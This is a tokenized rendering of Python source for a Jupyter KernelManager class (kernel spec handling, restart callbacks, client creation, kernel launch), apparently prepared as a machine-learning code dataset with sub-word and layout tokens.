"._", "connect_", "import_", "Connect", "ion", "File", "Mixin_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "from_", "._", "session_", "import_", "Session_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "from_", "._", "manage", "rab", "c_", "import_", "(_", "\\u\\u\\uNL\\u\\u\\u_", "Kern", "el", "Manager", "ABC_", "\\u\\u\\uNL\\u\\u\\u_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "Kern", "el", "Manager", "ABC_", "._", "register_", "(_", "Kern", "el", "Manager_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "[SEP]_", "module_", "\\u\\u\\uEOS\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "class_", "Kern", "el", "Manager_", "(_", "Connect", "ion", "File", "Mixin_", ")_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "\"\"\"", "Manage", "s", " ", "a", " ", "single", " ", "kernel", " ", "in", " ", "a", " ", "subproc", "ess", " ", "on", " ", "this", " ", "host", ".", "\\", "10", ";", "\\", "10", ";", " ", " ", " ", " ", "Thi", "s", " ", "version", " ", "starts", " ", "kernels", " ", "with", " ", "Pop", "en", ".", "\\", "10", ";", " ", " ", " ", " ", "\"\"\"_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "#", " ", "The", " ", "Py", "ZM", "Q", " ", "Context", " ", "to", " ", "use", " ", "for", " ", "communication", " ", "with", " ", "the", " ", "kernel", "._", "\\u\\u\\uNL\\u\\u\\u_", "context_", "=_", "Instance_", "(_", "zmq_", "._", "Context_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "#", " ", "the", " ", "class", " ", "to", " ", "create", " ", "with", " ", "our", " ", "`", "client", "`", " ", "method_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "client", "\\u", "class_", "=_", "Dot", "ted", "Object", "Name_", "(_", "'", "jup", "yte", "r", "\\u", "client", ".", "blockin", "g", ".", "Block", "ing", "Kern", "el", "Client", "'_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "client", "\\u", "factory_", "=_", "Type_", "(_", "klass_", "=_", "'", "jup", "yte", "r", "\\u", "client", ".", "Kern", "el", "Client", "'_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "#", " ", "The", " ", "kernel", " ", "process", " ", "with", " ", "whi", "ch", " ", "the", " ", "Kern", "el", "Manager", " ", "is", " ", "communicati", "ng", "._", "\\u\\u\\uNL\\u\\u\\u_", "#", " ", "genera", "ll", "y", " ", "a", " ", "Pop", "en", " ", "instance_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "kernel_", "=_", "Any_", "(_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "kernel", "\\u", "spec", "\\u", "manager_", "=_", "Instance_", "(_", "kernels", "pec_", "._", "Kern", "el", "Spec", "Manager_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "kernel", "\\u", "name_", "=_", "Unicode_", "(_", "kernels", "pec_", "._", "NATI", "VE", "\\u", "KERN", "EL", "\\u", "NAME_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "\\u", "kernel", "\\u", "spec_", "=_", "None_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "kernel", "\\u", "cmd_", "=_", "List_", "(_", "Unicode_", "(_", ")_", ",_", "config_", "=_", "True_", ",_", "\\u\\u\\uNL\\u\\u\\u_", "help_", "=_", "\"\"\"", "DEP", "RECA", "TED", ":", " ", "Us", "e", " ", "kernel", "\\u", "name", " ", "inst", "ead", ".", "\\", "10", ";", "\\", "10", ";", " ", " ", " ", " ", "The", " ", "Pop", "en", " ", "Command", " ", "to", " ", "launch", " ", "the", " ", "kernel", ".", "\\", "10", ";", " ", " ", " ", " ", "Override", " ", "this", " ", "if", " ", "you", " ", "have", " ", "a", " ", "custom", " ", "kernel", ".", "\\", "10", ";", " ", " ", " ", " ", "If", " ", "kernel", "\\u", "cmd", " ", "is", " ", "specified", " ", "in", " ", "a", " ", "configura", "tion", " ", "file", ",", "\\", "10", ";", " ", " ", " ", " ", "Ju", "pyt", "er", " ", "doe", "s", " ", "not", " ", "pass", " ", "any", " ", "argu", "ment", "s", " ", "to", " ", "the", " ", "kernel", ",", "\\", "10", ";", " ", " ", " ", " ", "bec", "aus", "e", " ", "it", " ", "cann", "ot", " ", "make", " ", "any", " ", "assumption", "s", " ", "abo", "ut", " ", "the", "\\", "10", ";", " ", " ", " ", " ", "argu", "ment", "s", " ", "tha", "t", " ", "the", " ", "kernel", " ", "underst", "ands", ".", " ", "In", " ", "partic", "ular", ",", "\\", "10", ";", " ", " ", " ", " ", "this", " ", "means", " ", "tha", "t", " ", "the", " ", "kernel", " ", "doe", "s", " ", "not", " ", "receive", " ", "the", "\\", "10", ";", " ", " ", " ", " ", "option", " ", "--", "debug", " ", "if", " ", "it", " ", "give", "n", " ", "on", " ", "the", " ", "Ju", "pyt", "er", " ", "command", " ", "line", ".", "\\", "10", ";", " ", " ", " ", " ", "\"\"\"_", "\\u\\u\\uNL\\u\\u\\u_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "#", " ", "Protect", "ed", " ", "traits_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "\\u", "launch", "\\u", "args_", "=_", "Any_", "(_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u", "control", "\\u", "socket_", "=_", "Any_", "(_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u", "restart", "er_", "=_", "Any_", "(_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "autore", "start_", "=_", "Bool_", "(_", "True_", ",_", "config_", "=_", "True_", ",_", "\\u\\u\\uNL\\u\\u\\u_", "help_", "=_", "\"\"\"", "Sho", "ul", "d", " ", "we", " ", "autore", "start", " ", "the", " ", "kernel", " ", "if", " ", "it", " ", "die", "s", ".\"\"\"_", "\\u\\u\\uNL\\u\\u\\u_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "#-", "--------------", "--------------", "--------------", "--------------", "--------------", "---", "_", "\\u\\u\\uNL\\u\\u\\u_", "#", " ", "Kern", "el", " ", "restart", "er_", "\\u\\u\\uNL\\u\\u\\u_", "#-", "--------------", "--------------", "--------------", "--------------", "--------------", "---", "_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "#-", "--------------", "--------------", "--------------", "--------------", "--------------", "---", "_", "\\u\\u\\uNL\\u\\u\\u_", "#", " ", "create", " ", "a", " ", "Client", " ", "connect", "ed", " ", "to", " ", "our", " ", "Kernel_", "\\u\\u\\uNL\\u\\u\\u_", "#-", "--------------", "--------------", "--------------", "--------------", "--------------", "---", "_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "#-", "--------------", "--------------", "--------------", "--------------", "--------------", "---", "_", "\\u\\u\\uNL\\u\\u\\u_", "#", " ", "Kern", "el", " ", "management_", "\\u\\u\\uNL\\u\\u\\u_", "#-", "--------------", "--------------", "--------------", "--------------", "--------------", "---", "_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "#", " ", "Control", " ", "socket", " ", "used", " ", "for", " ", "poli", "te", " ", "kernel", " ", "shutdown_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "[SEP]_", "class_", "Kern", "el", "Manager_", "(_", "Connect", "ion", "File", "Mixin_", ")_", ":_", "\\u\\u\\uEOS\\u\\u\\u_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "def_", "\\u", "context", "\\u", "default_", "(_", "self_", ")_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "return_", "zmq_", "._", "Context_", "._", "instance_", "(_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "[SEP]_", "class_", "Kern", "el", "Manager_", "(_", "Connect", "ion", "File", "Mixin_", ")_", ":_", "\\u\\u\\uEOS\\u\\u\\u_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "def_", "\\u", "client", "\\u", "factor", "y", "\\u", "default_", "(_", "self_", ")_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "return_", "import", "\\u", "item_", "(_", "self_", "._", "client", "\\u", "class_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "[SEP]_", "class_", "Kern", "el", "Manager_", "(_", "Connect", "ion", "File", "Mixin_", ")_", ":_", "\\u\\u\\uEOS\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "def_", "\\u", "client", "\\u", "class", "\\u", "changed_", "(_", "self_", ",_", "name_", ",_", "old_", ",_", "new_", ")_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "self_", "._", "client", "\\u", "factory_", "=_", "import", "\\u", "item_", "(_", "str_", "(_", "new_", ")_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "[SEP]_", "class_", "Kern", "el", "Manager_", "(_", "Connect", "ion", "File", "Mixin_", ")_", ":_", "\\u\\u\\uEOS\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "def_", "\\u", "kernel", "\\u", "spec", "\\u", "manage", "r", "\\u", "default_", "(_", "self_", ")_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "return_", "kernels", "pec_", "._", "Kern", "el", "Spec", "Manager_", "(_", "data\\u", "dir_", "=_", "self_", "._", "data\\u", "dir_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "[SEP]_", "class_", "Kern", "el", "Manager_", "(_", "Connect", "ion", "File", "Mixin_", ")_", ":_", "\\u\\u\\uEOS\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "def_", "\\u", "kernel", "\\u", "spec", "\\u", "manage", "r", "\\u", "changed_", "(_", "self_", ")_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "self_", "._", "\\u", "kernel", "\\u", "spec_", "=_", "None_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "[SEP]_", "class_", "Kern", "el", "Manager_", "(_", "Connect", "ion", "File", "Mixin_", ")_", ":_", "\\u\\u\\uEOS\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "def_", "\\u", "kernel", "\\u", "name", "\\u", "changed_", "(_", "self_", ",_", "name_", ",_", "old_", ",_", "new_", ")_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "self_", "._", "\\u", "kernel", "\\u", "spec_", "=_", "None_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "if_", "new_", "==_", "'", "python", "'_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "self_", "._", "kernel", "\\u", "name_", "=_", "kernels", "pec_", "._", "NATI", "VE", "\\u", "KERN", "EL", "\\u", "NAME_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "[SEP]_", "class_", "Kern", "el", "Manager_", "(_", "Connect", "ion", "File", "Mixin_", ")_", ":_", "\\u\\u\\uEOS\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "@_", "property_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "def_", "kernel", "\\u", "spec_", "(_", "self_", ")_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "if_", "self_", "._", "\\u", "kernel", "\\u", "spec_", "is_", "None_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "self_", "._", "\\u", "kernel", "\\u", "spec_", "=_", "self_", "._", "kernel", "\\u", "spec", "\\u", "manager_", "._", "get", "\\u", "kernel", "\\u", "spec_", "(_", "self_", "._", "kernel", "\\u", "name_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "return_", "self_", "._", "\\u", "kernel", "\\u", "spec_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "[SEP]_", "class_", "Kern", "el", "Manager_", "(_", "Connect", "ion", "File", "Mixin_", ")_", ":_", "\\u\\u\\uEOS\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "def_", "\\u", "kernel", "\\u", "cmd", "\\u", "changed_", "(_", "self_", ",_", "name_", ",_", "old_", ",_", "new_", ")_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "warnings_", "._", "warn_", "(_", "\"", "Sett", "ing", " ", "kernel", "\\u", "cmd", " ", "is", " ", "depre", "cated", ",", " ", "use", " ", "kernel", "\\u", "spec", " ", "to", " ", "\"_", "\\u\\u\\uNL\\u\\u\\u_", "\"", "start", " ", "different", " ", "kernels", ".\"_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "[SEP]_", "class_", "Kern", "el", "Manager_", "(_", "Connect", "ion", "File", "Mixin_", ")_", ":_", "\\u\\u\\uEOS\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "@_", "property_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "def_", "ipy", "kernel_", "(_", "self_", ")_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "return_", "self_", "._", "kernel", "\\u", "name_", "in_", "{_", "'", "python", "'_", ",_", "'", "python", "2", "'_", ",_", "'", "python", "3", "'_", "}_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "[SEP]_", "class_", "Kern", "el", "Manager_", "(_", "Connect", "ion", "File", "Mixin_", ")_", ":_", "\\u\\u\\uEOS\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "def_", "\\u\\u", "del\\u\\u_", "(_", "self_", ")_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "self_", "._", "\\u", "close", "\\u", "control", "\\u", "socket_", "(_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "self_", "._", "clean", "up", "\\u", "connecti", "on", "\\u", "file_", "(_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "[SEP]_", "class_", "Kern", "el", "Manager_", "(_", "Connect", "ion", "File", "Mixin_", ")_", ":_", "\\u\\u\\uEOS\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "def_", "start", "\\u", "restart", "er_", "(_", "self_", ")_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "pass_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "[SEP]_", "class_", "Kern", "el", "Manager_", "(_", "Connect", "ion", "File", "Mixin_", ")_", ":_", "\\u\\u\\uEOS\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "def_", "stop", "\\u", "restart", "er_", "(_", "self_", ")_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "pass_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "[SEP]_", "class_", "Kern", "el", "Manager_", "(_", "Connect", "ion", "File", "Mixin_", ")_", ":_", "\\u\\u\\uEOS\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "def_", "add", "\\u", "restart", "\\u", "callback_", "(_", "self_", ",_", "callback_", ",_", "event_", "=_", "'", "restart", "'_", ")_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "\"\"\"", "register", " ", "a", " ", "callback", " ", "to", " ", "be", " ", "call", "ed", " ", "whe", "n", " ", "a", " ", "kernel", " ", "is", " ", "restart", "ed", "\"\"\"_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "if_", "self_", "._", "\\u", "restart", "er_", "is_", "None_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "return_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "self_", "._", "\\u", "restart", "er_", "._", "add", "\\u", "callback_", "(_", "callback_", ",_", "event_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "[SEP]_", "class_", "Kern", "el", "Manager_", "(_", "Connect", "ion", "File", "Mixin_", ")_", ":_", "\\u\\u\\uEOS\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "def_", "remove", "\\u", "restart", "\\u", "callback_", "(_", "self_", ",_", "callback_", ",_", "event_", "=_", "'", "restart", "'_", ")_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "\"\"\"", "unregister", " ", "a", " ", "callback", " ", "to", " ", "be", " ", "call", "ed", " ", "whe", "n", " ", "a", " ", "kernel", " ", "is", " ", "restart", "ed", "\"\"\"_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "if_", "self_", "._", "\\u", "restart", "er_", "is_", "None_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "return_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "self_", "._", "\\u", "restart", "er_", "._", "remove", "\\u", "callback_", "(_", "callback_", ",_", "event_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "[SEP]_", "class_", "Kern", "el", "Manager_", "(_", "Connect", "ion", "File", "Mixin_", ")_", ":_", "\\u\\u\\uEOS\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "def_", "client_", "(_", "self_", ",_", "**_", "kwargs_", ")_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "\"\"\"", "Creat", "e", " ", "a", " ", "client", " ", "configur", "ed", " ", "to", " ", "connect", " ", "to", " ", "our", " ", "kernel", "\"\"\"_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "kw_", "=_", "{_", "}_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "kw_", "._", "update_", "(_", "self_", "._", "get", "\\u", "connecti", "on", "\\u", "info_", "(_", "session_", "=_", "True_", ")_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "kw_", "._", "update_", "(_", "dict_", "(_", "\\u\\u\\uNL\\u\\u\\u_", "connecti", "on", "\\u", "file_", "=_", "self_", "._", "connecti", "on", "\\u", "file_", ",_", "\\u\\u\\uNL\\u\\u\\u_", "parent_", "=_", "self_", ",_", "\\u\\u\\uNL\\u\\u\\u_", ")_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "#", " ", "add", " ", "kwarg", "s", " ", "last", ",", " ", "for", " ", "manu", "al", " ", "overrides_", "\\u\\u\\uNL\\u\\u\\u_", "kw_", "._", "update_", "(_", "kwargs_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "return_", "self_", "._", "client", "\\u", "factory_", "(_", "**_", "kw_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "[SEP]_", "class_", "Kern", "el", "Manager_", "(_", "Connect", "ion", "File", "Mixin_", ")_", ":_", "\\u\\u\\uEOS\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "def_", "format\\u", "kernel", "\\u", "cmd_", "(_", "self_", ",_", "extra", "\\u", "arguments_", "=_", "None_", ")_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "\"\"\"", "replace", " ", "template", "d", " ", "args", " ", "(", "e", ".", "g", ".", " ", "{", "connecti", "on", "\\u", "file", "})", "\"\"\"_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "extra", "\\u", "arguments_", "=_", "extra", "\\u", "arguments_", "or_", "[_", "]_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "if_", "self_", "._", "kernel", "\\u", "cmd_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "cmd_", "=_", "self_", "._", "kernel", "\\u", "cmd_", "+_", "extra", "\\u", "arguments_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "else_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "cmd_", "=_", "self_", "._", "kernel", "\\u", "spec_", "._", "argv_", "+_", "extra", "\\u", "arguments_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "ns_", "=_", "dict_", "(_", "connecti", "on", "\\u", "file_", "=_", "self_", "._", "connecti", "on", "\\u", "file_", ",_", "\\u\\u\\uNL\\u\\u\\u_", "prefix_", "=_", "sys_", "._", "prefix_", ",_", "\\u\\u\\uNL\\u\\u\\u_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "ns_", "._", "update_", "(_", "self_", "._", "\\u", "launch", "\\u", "args_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "pat_", "=_", "re_", "._", "compile_", "(_", "r", "'\\\\", "{(", "[", "A", "-", "Za", "-", "z", "0", "-", "9", "\\u]+", ")\\\\", "}'_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "def_", "from", "\\u", "ns_", "(_", "match_", ")_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "\"\"\"", "Get", " ", "the", " ", "key", " ", "out", " ", "of", " ", "ns", " ", "if", " ", "it", "'", "s", " ", "there", ",", " ", "other", "wis", "e", " ", "no", " ", "change", ".\"\"\"_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "return_", "ns_", "._", "get_", "(_", "match_", "._", "group_", "(_", "1_", ")_", ",_", "match_", "._", "group_", "(_", ")_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "return_", "[_", "pat_", "._", "sub_", "(_", "from", "\\u", "ns_", ",_", "arg_", ")_", "for_", "arg_", "in_", "cmd_", "]_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "[SEP]_", "class_", "Kern", "el", "Manager_", "(_", "Connect", "ion", "File", "Mixin_", ")_", ":_", "\\u\\u\\uEOS\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "def_", "\\u", "launch", "\\u", "kernel_", "(_", "self_", ",_", "kernel", "\\u", "cmd_", ",_", "**_", "kw_", ")_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "\"\"\"", "actual", "ly", " ", "launch", " ", "the", " ", "kernel", "\\", "10", ";", "\\", "10", ";", " ", " ", " ", " ", "override", " ", "in", " ", "a", " ", "subclass", " ", "to", " ", "launch", " ", "kernel", " ", "subproc", "esse", "s", " ", "different", "ly", "\\", "10", ";", " ", " ", " ", " ", "\"\"\"_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "return_", "launch", "\\u", "kernel_", "(_", "kernel", "\\u", "cmd_", ",_", "**_", "kw_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "[SEP]_", "class_", "Kern", "el", "Manager_", "(_", "Connect", "ion", "File", "Mixin_", ")_", ":_", "\\u\\u\\uEOS\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "def_", "\\u", "connect", "\\u", "control", "\\u", "socket_", "(_", "self_", ")_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "if_", "self_", "._", "\\u", "control", "\\u", "socket_", "is_", "None_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "self_", "._", "\\u", "control", "\\u", "socket_", "=_", "self_", "._", "connect", "\\u", "control_", "(_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "self_", "._", "\\u", "control", "\\u", "socket_", "._", "ling", "er_", "=_", "100_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "[SEP]_", "class_", "Kern", "el", "Manager_", "(_", "Connect", "ion", "File", "Mixin_", ")_", ":_", "\\u\\u\\uEOS\\u\\u\\u_", 